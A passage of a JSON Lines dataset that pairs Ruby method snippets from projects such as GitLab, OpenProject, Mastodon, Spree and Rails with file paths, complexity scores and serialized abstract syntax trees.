"conf\"]},\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"binds\"]}]},\"first\"]}]},{\"type\":\"send\",\"children\":[null,\"assert\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ssl_binding\"]},\"include?\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"&ssl_cipher_filter=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cipher_filter\"]}]}]}]}]}]}]}","id":"6c8c7524-3577-42e6-8ecf-ffd080d5e61b"} {"repo_name":"openproject","file_path":"./repos/openproject/modules/two_factor_authentication/lib/open_project/two_factor_authentication/token_strategy_manager.rb","start_line":9,"raw_source":"def find_matching_strategy(channel)\n active_strategies.detect { |s| s.supported_channels.include? channel.to_sym }\n end","complexity_score":6.9,"ast_json":"{\"type\":\"def\",\"children\":[\"find_matching_strategy\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"channel\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"active_strategies\"]},\"detect\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"s\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"s\"]},\"supported_channels\"]},\"include?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"channel\"]},\"to_sym\"]}]}]}]}","id":"fb2d7290-93d0-4fec-8259-134f16166252"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/support/repeater.rb","start_line":92,"raw_source":"def remaining_attempts?(attempts, max_attempts)\n max_attempts ? attempts < max_attempts : true\n end","complexity_score":2.1,"ast_json":"{\"type\":\"def\",\"children\":[\"remaining_attempts?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"attempts\"]},{\"type\":\"arg\",\"children\":[\"max_attempts\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"max_attempts\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attempts\"]},\"<\",{\"type\":\"lvar\",\"children\":[\"max_attempts\"]}]},{\"type\":\"true\",\"children\":[]}]}]}","id":"377036f4-96ed-470b-b498-95b7212efdd8"} {"repo_name":"spree","file_path":"./repos/spree/core/app/models/spree/page.rb","start_line":128,"raw_source":"def custom?\n type == 'Spree::Pages::Custom'\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"custom?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"type\"]},\"==\",{\"type\":\"str\",\"children\":[\"Spree::Pages::Custom\"]}]}]}","id":"6ee615be-178a-4a18-9992-7427a11f9394"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/service_desk/custom_email_verifications/update_service.rb","start_line":99,"raw_source":"def error_already_failed\n error_response(s_('ServiceDesk|Custom email address verification has already been processed and failed.'))\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"error_already_failed\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"error_response\",{\"type\":\"send\",\"children\":[null,\"s_\",{\"type\":\"str\",\"children\":[\"ServiceDesk|Custom email address verification has already been processed and failed.\"]}]}]}]}","id":"9e09eeac-41ab-4e3d-9e1c-4820b2344b26"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/uploaders/namespace_file_uploader.rb","start_line":24,"raw_source":"def self.workhorse_local_upload_path\n File.join(options.storage_path, 'uploads', TMP_UPLOAD_PATH)\n end","complexity_score":3.6,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"workhorse_local_upload_path\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"options\"]},\"storage_path\"]},{\"type\":\"str\",\"children\":[\"uploads\"]},{\"type\":\"const\",\"children\":[null,\"TMP_UPLOAD_PATH\"]}]}]}","id":"a422aa16-d8f5-4f3c-9479-5c8467d8c876"} {"repo_name":"openproject","file_path":"./repos/openproject/modules/storages/app/components/storages/admin/oauth_client_info_component.rb","start_line":54,"raw_source":"def edit_icon_button_data_options\n {}.tap do |data_h|\n if oauth_client_configured?\n provider_type = I18n.t(\"storages.provider_types.#{storage}.name\")\n data_h[:turbo_confirm] = I18n.t(\"storages.confirm_replace_oauth_client\", provider_type:)\n end\n data_h[:turbo_stream] = true\n end\n end","complexity_score":12.8,"ast_json":"{\"type\":\"def\",\"children\":[\"edit_icon_button_data_options\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[]},\"tap\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"data_h\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"oauth_client_configured?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"provider_type\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"storages.provider_types.\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"storage\"]}]},{\"type\":\"str\",\"children\":[\".name\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data_h\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"turbo_confirm\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"storages.confirm_replace_oauth_client\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"provider_type\"]},{\"type\":\"lvar\",\"children\":[\"provider_type\"]}]}]}]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data_h\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"turbo_stream\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}","id":"6d88af69-9f76-4e11-8893-9bfea4c2beb0"} {"repo_name":"openproject","file_path":"./repos/openproject/app/components/versions/row_component.rb","start_line":124,"raw_source":"def name_css_class\n classes = \" #{version.status}\"\n\n if version.project != table.project\n classes += \" icon-context icon-link\"\n end\n\n classes\n end","complexity_score":12.6,"ast_json":"{\"type\":\"def\",\"children\":[\"name_css_class\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"classes\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"version\"]},\"status\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"version\"]},\"project\"]},\"!=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"table\"]},\"project\"]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"classes\"]},\"+\",{\"type\":\"str\",\"children\":[\" icon-context icon-link\"]}]},null]},{\"type\":\"lvar\",\"children\":[\"classes\"]}]}]}","id":"1c6365b5-013c-4f28-9018-9d3baed61594"} {"repo_name":"mastodon","file_path":"./repos/mastodon/app/controllers/api/v1/statuses/quotes_controller.rb","start_line":31,"raw_source":"def set_statuses\n scope = default_statuses\n scope = scope.not_excluded_by_account(current_account) unless current_account.nil?\n @statuses = scope.merge(paginated_quotes).to_a\n\n # Store next page info before filtering\n @records_continue = @statuses.size == limit_param(DEFAULT_STATUSES_LIMIT)\n @pagination_since_id = @statuses.first.quote.id unless @statuses.empty?\n @pagination_max_id = @statuses.last.quote.id if @records_continue\n\n if current_account&.id != @status.account_id\n domains = @statuses.filter_map(&:account_domain).uniq\n account_ids = @statuses.map(&:account_id).uniq\n relations = current_account&.relations_map(account_ids, domains) || {}\n @statuses.reject! { |status| StatusFilter.new(status, current_account, relations).filtered? }\n end\n end","complexity_score":59.6,"ast_json":"{\"type\":\"def\",\"children\":[\"set_statuses\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"scope\",{\"type\":\"send\",\"children\":[null,\"default_statuses\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_account\"]},\"nil?\"]},null,{\"type\":\"lvasgn\",\"children\":[\"scope\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"scope\"]},\"not_excluded_by_account\",{\"type\":\"send\",\"children\":[null,\"current_account\"]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@statuses\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"scope\"]},\"merge\",{\"type\":\"send\",\"children\":[null,\"paginated_quotes\"]}]},\"to_a\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@records_continue\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@statuses\"]},\"size\"]},\"==\",{\"type\":\"send\",\"children\":[null,\"limit_param\",{\"type\":\"const\",\"children\":[null,\"DEFAULT_STATUSES_LIMIT\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@statuses\"]},\"empty?\"]},null,{\"type\":\"ivasgn\",\"children\":[\"@pagination_since_id\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@statuses\"]},\"first\"]},\"quote\"]},\"id\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@records_continue\"]},{\"type\":\"ivasgn\",\"children\":[\"@pagination_max_id\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@statuses\"]},\"last\"]},\"quote\"]},\"id\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_account\"]},\"id\"]},\"!=\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@status\"]},\"account_id\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"domains\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@statuses\"]},\"filter_map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"account_domain\"]}]}]},\"uniq\"]}]},{\"type\":\"lvasgn\",\"children\":[\"account_ids\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@statuses\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"account_id\"]}]}]},\"uniq\"]}]},{\"type\":\"lvasgn\",\"children\":[\"relations\",{\"type\":\"or\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_account\"]},\"relations_map\",{\"type\":\"lvar\",\"children\":[\"account_ids\"]},{\"type\":\"lvar\",\"children\":[\"domains\"]}]},{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@statuses\"]},\"reject!\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"status\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StatusFilter\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"status\"]},{\"type\":\"send\",\"children\":[null,\"current_account\"]},{\"type\":\"lvar\",\"children\":[\"relations\"]}]},\"filtered?\"]}]}]},null]}]}]}","id":"5ab3f4cc-69cc-4c70-91e3-1fc110e47968"} {"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/core.rb","start_line":282,"raw_source":"def find_by(*args) # :nodoc:\n return super if scope_attributes?\n\n hash = args.first\n return super unless Hash === hash\n\n hash = hash.each_with_object({}) do |(key, value), h|\n key = key.to_s\n key = attribute_aliases[key] || key\n\n return super if reflect_on_aggregation(key)\n\n reflection = _reflect_on_association(key)\n\n if !reflection\n value = value.id if value.respond_to?(:id)\n elsif reflection.belongs_to? && !reflection.polymorphic?\n key = reflection.join_foreign_key\n pkey = reflection.join_primary_key\n\n if pkey.is_a?(Array)\n if pkey.all? { |attribute| value.respond_to?(attribute) }\n value = pkey.map do |attribute|\n if attribute == \"id\"\n value.id_value\n else\n value.public_send(attribute)\n end\n end\n composite_primary_key = true\n end\n else\n value = value.public_send(pkey) if value.respond_to?(pkey)\n end\n end\n\n if !composite_primary_key &&\n (!columns_hash.key?(key) || StatementCache.unsupported_value?(value))\n return super\n end\n\n h[key] = value\n end\n\n cached_find_by(hash.keys, hash.values)\n end","complexity_score":92.4,"ast_json":"{\"type\":\"def\",\"children\":[\"find_by\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"args\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"scope_attributes?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"zsuper\",\"children\":[]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"hash\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"first\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Hash\"]},\"===\",{\"type\":\"lvar\",\"children\":[\"hash\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"zsuper\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"hash\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash\"]},\"each_with_object\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"args\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]},{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"arg\",\"children\":[\"h\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"key\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]},\"to_s\"]}]},{\"type\":\"lvasgn\",\"children\":[\"key\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"attribute_aliases\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"key\"]}]},{\"type\":\"lvar\",\"children\":[\"key\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"reflect_on_aggregation\",{\"type\":\"lvar\",\"children\":[\"key\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"zsuper\",\"children\":[]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"reflection\",{\"type\":\"send\",\"children\":[null,\"_reflect_on_association\",{\"type\":\"lvar\",\"children\":[\"key\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"reflection\"]},\"!\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"id\"]}]},{\"type\":\"lvasgn\",\"children\":[\"value\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"id\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"reflection\"]},\"belongs_to?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"reflection\"]},\"polymorphic?\"]},\"!\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"key\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"reflection\"]},\"join_foreign_key\"]}]},{\"type\":\"lvasgn\",\"children\":[\"pkey\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"reflection\"]},\"join_primary_key\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pkey\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Array\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pkey\"]},\"all?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"attribute\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"respond_to?\",{\"type\":\"lvar\",\"children\":[\"attribute\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"value\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pkey\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"attribute\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attribute\"]},\"==\",{\"type\":\"str\",\"children\":[\"id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"id_value\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"public_send\",{\"type\":\"lvar\",\"children\":[\"attribute\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"composite_primary_key\",{\"type\":\"true\",\"children\":[]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"respond_to?\",{\"type\":\"lvar\",\"children\":[\"pkey\"]}]},{\"type\":\"lvasgn\",\"children\":[\"value\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"public_send\",{\"type\":\"lvar\",\"children\":[\"pkey\"]}]}]},null]}]}]},null]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"composite_primary_key\"]},\"!\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"columns_hash\"]},\"key?\",{\"type\":\"lvar\",\"children\":[\"key\"]}]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StatementCache\"]},\"unsupported_value?\",{\"type\":\"lvar\",\"children\":[\"value\"]}]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"zsuper\",\"children\":[]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"h\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"key\"]},{\"type\":\"lvar\",\"children\":[\"value\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"cached_find_by\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash\"]},\"keys\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash\"]},\"values\"]}]}]}]}","id":"54997e4f-c7cf-43ad-a76f-c79cb62e4e78"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/scripts/lib/frontend_islands_sha.rb","start_line":61,"raw_source":"def frontend_islands_impacting_compilation\n # Start with explicit configuration files\n files = FRONTEND_ISLANDS_FILES.select { |file| File.exist?(file) }\n\n # Add all source files matching patterns\n SOURCE_FILE_PATTERNS.each do |pattern|\n files.concat(Dir.glob(pattern))\n end\n\n # Filter out excluded patterns and non-existent files\n files = files.reject do |file|\n EXCLUDE_PATTERNS.any? { |pattern| File.fnmatch?(pattern, file) }\n end\n\n files.select { |file| File.exist?(file) && File.file?(file) }.sort.uniq\n end","complexity_score":24.6,"ast_json":"{\"type\":\"def\",\"children\":[\"frontend_islands_impacting_compilation\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"files\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FRONTEND_ISLANDS_FILES\"]},\"select\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"file\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"exist?\",{\"type\":\"lvar\",\"children\":[\"file\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SOURCE_FILE_PATTERNS\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"pattern\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"files\"]},\"concat\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Dir\"]},\"glob\",{\"type\":\"lvar\",\"children\":[\"pattern\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"files\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"files\"]},\"reject\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"file\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"EXCLUDE_PATTERNS\"]},\"any?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"pattern\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"fnmatch?\",{\"type\":\"lvar\",\"children\":[\"pattern\"]},{\"type\":\"lvar\",\"children\":[\"file\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"files\"]},\"select\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"file\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"exist?\",{\"type\":\"lvar\",\"children\":[\"file\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"file?\",{\"type\":\"lvar\",\"children\":[\"file\"]}]}]}]},\"sort\"]},\"uniq\"]}]}]}","id":"7b1953b3-a282-421e-8ed3-c6ad35f2cd89"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/workers/personal_access_tokens/expiring_worker.rb","start_line":205,"raw_source":"def execute_web_hooks(bot_user, token, data = {})\n resource = bot_user.resource_bot_resource\n\n return unless resource\n return if resource.is_a?(Project) && !resource.has_active_hooks?(:resource_access_token_hooks)\n\n hook_data = Gitlab::DataBuilder::ResourceAccessTokenPayload.build(token, :expiring, resource, data)\n resource.execute_hooks(hook_data, :resource_access_token_hooks)\n end","complexity_score":12.5,"ast_json":"{\"type\":\"def\",\"children\":[\"execute_web_hooks\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"bot_user\"]},{\"type\":\"arg\",\"children\":[\"token\"]},{\"type\":\"optarg\",\"children\":[\"data\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"resource\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bot_user\"]},\"resource_bot_resource\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"resource\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"resource\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Project\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"resource\"]},\"has_active_hooks?\",{\"type\":\"sym\",\"children\":[\"resource_access_token_hooks\"]}]},\"!\"]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"hook_data\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"DataBuilder\"]},\"ResourceAccessTokenPayload\"]},\"build\",{\"type\":\"lvar\",\"children\":[\"token\"]},{\"type\":\"sym\",\"children\":[\"expiring\"]},{\"type\":\"lvar\",\"children\":[\"resource\"]},{\"type\":\"lvar\",\"children\":[\"data\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"resource\"]},\"execute_hooks\",{\"type\":\"lvar\",\"children\":[\"hook_data\"]},{\"type\":\"sym\",\"children\":[\"resource_access_token_hooks\"]}]}]}]}","id":"eddb1a99-4d79-407c-806f-59a25c5673e0"} {"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/adapters/postgresql/serial_test.rb","start_line":72,"raw_source":"def test_not_bigserial_column\n column = PostgresqlBigSerial.columns_hash[\"serials_id\"]\n assert_equal :integer, column.type\n assert_equal \"bigint\", column.sql_type\n assert_not_predicate column, :serial?\n end","complexity_score":8.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_not_bigserial_column\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"column\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PostgresqlBigSerial\"]},\"columns_hash\"]},\"[]\",{\"type\":\"str\",\"children\":[\"serials_id\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"sym\",\"children\":[\"integer\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"column\"]},\"type\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"bigint\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"column\"]},\"sql_type\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_not_predicate\",{\"type\":\"lvar\",\"children\":[\"column\"]},{\"type\":\"sym\",\"children\":[\"serial?\"]}]}]}]}","id":"ff4be664-3a29-44bf-bbe1-c7054a3a6931"} {"repo_name":"openproject","file_path":"./repos/openproject/app/models/oauth_client.rb","start_line":36,"raw_source":"def redirect_uri\n File.join(Rails.application.root_url, \"oauth_clients\", client_id, \"callback\")\n end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"redirect_uri\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"application\"]},\"root_url\"]},{\"type\":\"str\",\"children\":[\"oauth_clients\"]},{\"type\":\"send\",\"children\":[null,\"client_id\"]},{\"type\":\"str\",\"children\":[\"callback\"]}]}]}","id":"175a85ca-596d-434c-ae7f-0f43bf1d055b"} {"repo_name":"openproject","file_path":"./repos/openproject/app/models/queries/filters/strategies/relation.rb","start_line":58,"raw_source":"def too_many_values\n values.count(&:present?) > 1\n end","complexity_score":5.3,"ast_json":"{\"type\":\"def\",\"children\":[\"too_many_values\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"values\"]},\"count\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"present?\"]}]}]},\">\",{\"type\":\"int\",\"children\":[1]}]}]}","id":"832fc25c-a246-401f-826a-151a68a1bec7"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/process_management.rb","start_line":68,"raw_source":"def self.process_died?(pid)\n !process_alive?(pid)\n end","complexity_score":2.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"process_died?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"pid\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"process_alive?\",{\"type\":\"lvar\",\"children\":[\"pid\"]}]},\"!\"]}]}","id":"327da80c-57d3-4e89-8901-810f8377326d"} {"repo_name":"rails","file_path":"./repos/rails/activesupport/lib/active_support/callbacks.rb","start_line":474,"raw_source":"def make_lambda\n lambda do |target, value, &block|\n (@override_target || target).call(target, value, &block)\n end\n 